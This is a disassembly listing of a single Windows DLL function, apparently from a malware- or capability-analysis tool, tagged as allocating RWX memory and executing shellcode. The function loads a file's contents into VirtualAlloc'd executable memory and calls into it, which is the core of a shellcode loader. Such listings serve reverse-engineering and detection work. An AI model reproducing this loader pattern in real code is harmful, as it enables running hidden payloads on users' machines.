Function at 0x100013c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003d48
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xe0]
call fcn.100021f0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x84], 0
je 0x100015bb
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov edi, dword [eax + 8]
add edi, dword [eax]
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
mov dword [ebp - 0xe4], ecx
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
xor esi, esi
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
xor ebx, ebx
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], ebx
test edi, edi
je 0x100014d2
cmp edi, 0x7fffffff
ja 0x100015e2
cmp edi, 0x1000
jb 0x100014af
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x100015e7
push eax
call fcn.10002eb2
add esp, 4
test eax, eax
je 0x100015ab
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x100014ba
push edi
call fcn.10002eb2
add esp, 4
mov esi, eax
push edi
push 0
lea ebx, [esi + edi]
mov dword [ebp - 0x1c], esi
push esi
mov dword [ebp - 0x14], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x18], ebx
push dword [ebp - 0xe4]
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 1
push edi
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x10001564
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xe4], eax
test eax, eax
je 0x10001538
push edi
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov edi, dword [ebp - 0xe4]
add esp, 0xc
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10001564
push 0x10002ba0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, 0x100043dc
push eax
call fcn.10002980
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0xd0]
call fcn.10002640
test eax, eax
jne 0x1000158b
push eax
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
test esi, esi
je 0x100015bb
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x100015b1
mov esi, dword [eax - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100015b1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ebx
push esi
call fcn.10002ee2
add esp, 8
lea ecx, [ebp - 0xe0]
call fcn.100015f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002ea4
mov esp, ebp
pop ebp
ret
call fcn.10002e90
call fcn.100010e0
int3